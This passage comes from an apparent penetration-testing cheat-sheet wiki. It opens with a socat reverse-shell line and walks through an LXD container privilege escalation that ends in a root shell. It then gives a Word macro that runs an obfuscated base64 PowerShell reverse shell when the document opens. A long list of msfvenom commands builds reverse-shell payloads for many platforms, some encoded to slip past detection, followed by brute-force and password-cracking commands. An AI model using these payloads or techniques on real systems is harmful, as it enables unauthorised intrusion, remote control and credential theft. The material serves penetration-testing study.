socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
